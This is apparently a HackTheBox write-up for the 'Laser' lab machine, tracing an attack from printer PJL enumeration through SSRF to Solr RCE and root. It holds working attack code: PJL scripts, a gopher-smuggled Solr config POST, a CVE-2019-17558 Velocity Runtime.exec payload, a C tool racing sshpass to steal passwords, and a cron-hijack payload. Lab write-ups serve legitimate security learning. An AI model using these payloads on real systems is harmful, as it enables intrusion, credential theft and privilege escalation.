HTB: Laser Writeup
Laser - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Laser |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.215 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Laser exposes a network printer speaking raw HP PJL on port 9100. Interrogating it by hand (no PRET install needed) surfaces a queued print job that turns out to be AES-128-CBC encrypted, and a leaked NVRAM key that decrypts it into a PDF describing an internal “Feed Engine” — a gRPC service on port 9000. That service unpickles attacker-controlled data and fetches attacker-controlled URLs, giving a clean SSRF primitive. Pivoting the SSRF through gopher:// reveals and then weaponizes an internal Apache Solr instance (CVE-2019-17558, Velocity template RCE) for a shell as solr. From there, a hand-written C race-condition tool beats sshpass’s password-masking window to steal root’s container credentials, landing on a Docker container. The container’s cron-driven, StrictHostKeyChecking=no SSH relationship with the host is then abused by redirecting the container’s SSH port back at the host, so the host’s own cron job executes attacker-controlled /tmp/clear.sh as root.
TL;DR: PJL printer recon (9100) → NVRAM key leak → AES-128-CBC decrypt of queued job → PDF reveals gRPC Feed Engine (9000) → pickle/SSRF via feed_url → internal port scan finds Solr (7983/8983) → gopher-smuggled POST enables Velocity + CVE-2019-17558 RCE → shell as solr → C race condition against sshpass leaks container root password → root on Docker container → redirect container’s :22 to host’s :22 → host cron’s ssh root@container /tmp/clear.sh fires as root on the host → root.
Reconnaissance
Port Scanning
Full TCP recon (via the provisioned jump host) turned up the standard 22/ssh plus two service ports of interest: 9000 and 9100.
nmap -p- --min-rate=2000 -T4 -Pn 10.129.65.2159100 is the classic raw-socket printing port (JetDirect/PJL); 9000 had no obvious banner and later turned out to be a custom gRPC service.
Service Enumeration — Speaking PJL by Hand
Rather than pull in PRET, I opened a raw TCP socket to 9100 and wrote a minimal PJL client — the Printer Job Language framing is trivial (\x1b%-12345X universal exit language command as prefix, plain PJL verbs as text):
# pjl.py — minimal PJL client for port 9100import socket, sys, time
def pjl(cmds, wait=4): s = socket.create_connection(('10.129.65.215', 9100), 10) s.settimeout(3) s.sendall(b'\x1b%-12345X' + cmds) d = b'' try: while True: chunk = s.recv(65536) if not chunk: break d += chunk except socket.timeout: pass s.close() return dQuerying device identity confirmed the target as a printer:
python3 pjl.py '@PJL INFO ID\r\n'# -> "LaserCorp LaserJet 4ML"Listing the print queue’s filesystem found an active job:
python3 pjl.py '@PJL FSDIRLIST NAME="0:/pjl/jobs" ENTRY=1 COUNT=65535\r\n'# -> 0:/pjl/jobs/queued 172199 bytesPulling the file with FSUPLOAD in chunks (the device caps single-shot reads) returned a Python-repr’d, base64-looking blob:
# getjob.py — pull the queued job in 32KB chunks via FSUPLOADout = b''size = 172199off = 0CH = 32768while off < size: n = min(CH, size - off) r = pjl(b'@PJL FSUPLOAD NAME="0:/pjl/jobs/queued" OFFSET=%d SIZE=%d\r\n' % (off, n)) out += r off += nDecoding it (after stripping PJL response framing) produced pure binary — not a readable document, which pointed at encryption rather than a raw print stream.
Vulnerability Assessment
- 9100/PJL: unauthenticated raw print/filesystem access, including
RNVRAM(read NVRAM) — a classic PJL info-leak vector on real HP-compatible firmware. - Queued job encrypted: implies a key exists somewhere reachable, most likely leaked via NVRAM (a well-documented printer misconfiguration).
- 9000/gRPC: unknown custom service, likely the “Feed Engine” referenced once the PDF was recovered.
Initial Foothold
Leaking the NVRAM Key
PJL’s @PJL RNVRAM ADDRESS=n command reads a byte of non-volatile memory. Critically, it only replies meaningfully when addresses are pipelined in a single connection — issuing one address per TCP connection just returned ?. Batching hundreds of RNVRAM reads into one session and reassembling the responses:
# nv4.py — pipelined NVRAM dump across the address ranges PRET's default memspace coversmemspace = list(range(0, 8192)) + list(range(32768, 33792)) + list(range(53248, 59648))cmds = b''.join(b'@PJL RNVRAM ADDRESS=%d\r\n' % a for a in memspace)leaked plaintext key material embedded in the dump:
key = 13vu94r6643rv19uA 16-byte ASCII string — consistent with an AES-128 key.
Decrypting the Print Job
With INFO VARIABLES earlier hinting at AES-CBC support, and a 16-byte key in hand, the queued job’s structure matched a common encrypted-print format: an 8-byte little-endian size prefix, a 16-byte IV, then AES-128-CBC ciphertext.
# decrypt job — 8B LE size + 16B IV + AES-128-CBC bodyimport structfrom Crypto.Cipher import AES
d = open('/tmp/encrypted.bin', 'rb').read()size = struct.unpack('<Q', d[:8])[0]iv = d[8:24]body = d[24:]
cipher = AES.new(b'13vu94r6643rv19u', AES.MODE_CBC, iv)plaintext = cipher.decrypt(body)[:size]open('/tmp/decrypted.pdf', 'wb').write(plaintext)The output was a valid PDF describing an internal product called Feed Engine — a service on port 9000 built on gRPC/Protocol Buffers, along with a sample JSON feed format and a mention of a staging Solr core to be integrated.
Building the gRPC Client — SSRF via Pickle
With no .proto file provided, I reconstructed the service definition from the PDF’s excerpt describing a Print service with a Feed RPC taking Content{data} and returning Data{feed}:
syntax = "proto3";service Print { rpc Feed (Content) returns (Data) {}}message Content { string data = 1; }message Data { string feed = 1; }python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. print.protoThe service base64-decodes the data field and then unpickles it — confirmed by watching it try to resolve a hostname embedded in a JSON feed string once that string was pickle.dumps()-serialized and base64-wrapped:
# c.py — talk to the Feed Engine gRPC serviceimport grpc, base64, pickleimport print_pb2, print_pb2_grpc
channel = grpc.insecure_channel('10.129.65.215:9000')stub = print_pb2_grpc.PrintStub(channel)
feed = '{"version":"v1.0","title":"PrinterFeed","feed_url":"http://<listener>"}'serialized = base64.b64encode(pickle.dumps(feed))data = stub.Feed(print_pb2.Content(data=serialized))print(data.feed)The service made an outbound HTTP request to my listener, arriving with a distinctive User-Agent:
FeedBot v1.0That confirmed SSRF: the feed_url field is fetched server-side, unauthenticated, from wherever I point it — including localhost.
Internal Port Scan Through the SSRF
Reusing the SSRF primitive, I swept internal ports by pointing feed_url at localhost:<port> and inspecting the gRPC error text for signs the connection succeeded (vs. a hard “Failed” for closed ports):
# scan.py — thread pool SSRF port scan through the Feed Enginefrom lib import ssrffrom concurrent.futures import ThreadPoolExecutor
def probe(port): try: ssrf(f'localhost:{port}') print(f'{port} open') except Exception as e: if 'Failed' not in str(e): print(f'{port} open')
with ThreadPoolExecutor(max_workers=100) as ex: ex.map(probe, range(1, 65536))This surfaced two additional internal-only ports: 7983 and 8983 — Apache Solr’s default query/admin ports, matching the PDF’s reference to a staging core.
Exploiting Solr — CVE-2019-17558
Solr’s VelocityResponseWriter RCE (CVE-2019-17558) requires:
- A POST to
/solr/<core>/configenabling the Velocity response writer. - A GET to
/solr/<core>/selectwith av.template.custompayload that reachesRuntime.exec()through the Velocity templating engine’s Java reflection access.
Since the only outbound primitive I controlled was the SSRF’s GET-style feed_url fetch, I smuggled the POST using gopher://, base64-pickling a feed_url that gopher-encodes a raw HTTP/1.1 request (CRLFs as %0D%0A) targeting the internal Solr:
# enable velocity via gopher-smuggled POST to /solr/staging/configgopher_payload = ( "gopher://localhost:8983/_POST /solr/staging/config HTTP/1.1%0D%0A" "Host: 127.0.0.1:8983%0D%0A" "Content-Type: application/json%0D%0A" "Content-Length: 218%0D%0A%0D%0A" "{'update-queryresponsewriter': {'startup': 'lazy', 'name': 'velocity', " "'class': 'solr.VelocityResponseWriter', 'template.base.dir': '', " "'solr.resource.loader.enabled': 'true', 'params.resource.loader.enabled': 'true'}}")With the config set, the RCE fires as a plain internal GET (no gopher needed since it’s already GET semantics):
# rce via velocity template -> Runtime.exec()rce_url = ( "http://localhost:8983/solr/staging/select?q=1&&wt=velocity" "&v.template=custom&v.template.custom=" "%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+" "%23set($ex=$rt.getRuntime().exec(%27{command}%27))+$ex.waitFor()+" "%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])" "$str.valueOf($chr.toChars($out.read()))%23end")Sending this through the same SSRF feed_url field executed arbitrary commands on the box hosting Solr. I dropped an SSH public key into ~solr/.ssh/authorized_keys via the command channel to get a stable shell as solr.
$ ssh -i solr_key solr@10.129.65.215solr@laser:~$ iduid=... gid=... groups=... (solr)User flag (user.txt) read as solr: <redacted>.
Privilege Escalation
Lateral Movement — Racing sshpass
Process monitoring on the host revealed a recurring job that uses sshpass -p <password> ssh root@<container> to sync files into a Docker container, then run /tmp/clear.sh on the target. sshpass documents that it attempts to mask its password argument from ps output by overwriting the argv buffer after the process starts — leaving a short window where /proc/<pid>/cmdline still contains the real password in plaintext.
I compiled a C tool that hammers /proc in a tight loop looking for that window:
// race.c — spin-loop scanning /proc/*/cmdline for the sshpass password before it's masked#include <dirent.h>#include <fcntl.h>#include <string.h>#include <unistd.h>
int main() { struct dirent *de; DIR *dr; char data[1024], path[1024]; int fd, len;
while (1) { dr = opendir("/proc"); while ((de = readdir(dr)) != NULL) { snprintf(path, sizeof(path), "/proc/%s/cmdline", de->d_name); fd = open(path, O_RDONLY); if (fd < 0) continue; len = read(fd, data, sizeof(data) - 1); close(fd); if (len > 7 && !memcmp(data, "sshpass", 7)) { write(1, data, len); write(1, "\n", 1); } } closedir(dr); }}A single instance loses the race against sshpass’s masking most of the time, so I ran 9 parallel instances to shrink the effective sampling interval and reliably win the window. This leaked the container root’s SSH password in plaintext, which was used to sshpass -p <leaked_password> ssh root@<jump-host> and land as root inside the Docker container.
Root — Redirecting the Container’s SSH Back at the Host
Process monitoring also showed the host runs a cron job every 5 minutes that:
scps files into the container.- Executes
ssh root@<container-ip> /tmp/clear.sh.
Since StrictHostKeyChecking is off in this environment, redirecting the container’s SSH listener to actually forward to the host’s SSH daemon means that same cron-triggered ssh root@<container-ip> ... connection lands on the host instead — executed with the host’s real root privileges, not the container’s.
Two things on the box complicated a naive socat redirect:
- The container is restarted by a host cron every 5 minutes — its PID 1 start time consistently lands on
:X0:01/:X5:01. Any plain relay process dies on that restart and the container’s ownsshdre-binds port 22 underneath it, killing the redirect. To work around this I moved the container’ssshdto port 2222 (editingsshd_config) and ran a self-healing keeper loop on the host that detects the restart and re-launches a static TCP relay from the container’s :22 to the host’s :22 every cycle. (Note:pkill -9 sshdinside the container is a trap that kills your own session — the config change plus relay approach avoided that.) - The cron overwrites
/tmp/clear.shbefore executing it,scp-ing the real/root/clear.shfrom the host over the top. Pre-creating/tmp/clear.shassolrwith mode0777means root’sscponly truncates and rewrites the content rather than recreating the file — so file ownership stayssolr-writable. A tight rewrite loop (~0.05s interval) then reliably wins the race between thescpoverwrite and the subsequentssh ... /tmp/clear.shexecution, letting my payload run instead of the legitimate script.
# /tmp/clear.sh content that fires as root once the cron executes it#!/bin/bashbash -c 'cp /root/root.txt /tmp/.root_flag; chmod 777 /tmp/.root_flag'Once the host cron fired ssh root@<jump-host> /tmp/clear.sh against my redirected SSH port and my rewritten clear.sh won the race, the payload executed as root on the host.
root.txt <redacted>Verified a second time by reading /root/root.txt directly through a SUID bash -p (/tmp/.rb) planted during exploitation.
Attack Chain Summary
9100/PJL raw enumeration (INFO ID, FSDIRLIST, FSUPLOAD) → queued print job (AES-128-CBC encrypted, 172199 bytes) → pipelined @PJL RNVRAM dump leaks AES key "13vu94r6643rv19u" → decrypt job (8B size + 16B IV + AES-CBC) → PDF describing Feed Engine (gRPC :9000) → hand-crafted print.proto + pickle.dumps() feed → SSRF (FeedBot v1.0 UA confirms outbound fetch) → SSRF-driven internal port scan → Solr found on 7983/8983 → gopher-smuggled POST enables VelocityResponseWriter on /solr/staging/config → Velocity template Runtime.exec() RCE (CVE-2019-17558) → shell as solr → SSH key planted, user.txt read → C /proc/*/cmdline racer (9x parallel) beats sshpass masking → leaks container root password → root on Docker container (172.x jump-host) → move container sshd to :2222, relay container :22 → host :22 → host cron scp's + ssh root@container /tmp/clear.sh; pre-created 0777 /tmp/clear.sh + rewrite race wins → payload executes as root on the host → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
| Custom Python PJL client | Raw HP PJL enumeration (INFO, FSDIRLIST, FSUPLOAD, RNVRAM) over 9100 |
pycryptodome (Crypto.Cipher.AES) | AES-128-CBC decryption of the intercepted print job |
grpcio-tools / protoc | Compiling a reconstructed print.proto into a Python gRPC client |
pickle | Crafting the serialized feed payload the Feed Engine unpickles |
| Custom gopher payload construction | Smuggling a raw HTTP POST through the SSRF’s GET-only feed_url fetch |
| Solr VelocityResponseWriter RCE (CVE-2019-17558) | Remote code execution once Velocity templating is enabled |
Custom C race-condition tool (race.c) | Winning the window before sshpass masks its password in /proc/*/cmdline |
ssh / sshpass | Lateral movement into the Docker container |
| Custom TCP relay + keeper loop | Redirecting container SSH → host SSH to hijack the cron’s root execution |
Key Learnings
Techniques Practiced
- Raw PJL protocol interaction against exposed network printers (no PRET dependency)
- Extracting sensitive data from printer NVRAM via pipelined
RNVRAMreads - Symmetric decryption of intercepted data given a leaked key and known framing
- Reverse-engineering an undocumented gRPC service from a leaked spec PDF and compiling a matching
.proto - Exploiting insecure deserialization (
pickle.loads) as an SSRF trigger - Internal network/port discovery purely through a blind SSRF primitive
- Protocol smuggling (gopher://) to turn a GET-only SSRF into arbitrary POST requests
- Exploiting CVE-2019-17558 (Solr VelocityResponseWriter template RCE)
- Writing a C race-condition tool to defeat
sshpass’s incomplete argv-masking - Abusing
StrictHostKeyChecking noand a container ⇄ host SSH cron relationship by redirecting the container’s SSH port back at the host
Lessons Learned
- Printers are still full-fledged network services. Unauthenticated PJL access (filesystem read, NVRAM read) on exposed printers can leak keys and job contents that were assumed private.
- A “safe” pickle isn’t safe just because builtins are stripped. Unpickling attacker-influenced data that subsequently triggers a network fetch is still an SSRF (and a broader risk) even without RCE via the pickle itself.
- GET-only SSRF isn’t the end of the road. The
gopher://scheme lets an attacker fully control raw bytes sent to an internal TCP service, turning a URL fetch into arbitrary POST/PUT requests against internal-only APIs like Solr’s config endpoint. - Password-masking on the command line is a race, not a guarantee. Tools like
sshpassthat briefly expose secrets viaargvbefore overwriting them can be beaten by fast, parallel/procscanning — command-line secrets should never be considered fully hidden from local observers. StrictHostKeyChecking nocombined with predictable container/host SSH relationships is dangerous. If a host trusts an IP without verifying host keys, redirecting that IP’s listening service is enough to make the host connect to (and execute code on) itself.- Winning a filesystem race against a scheduled job is about narrowing, not eliminating, the window. Pre-creating the target file with permissive ownership and rewriting it in a tight loop reliably beat a cron job that only truncates rather than recreates its target file.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, Laser — Hack The Box official writeup (Machine Authors: MrR3boot & R4j), 3 December 2020.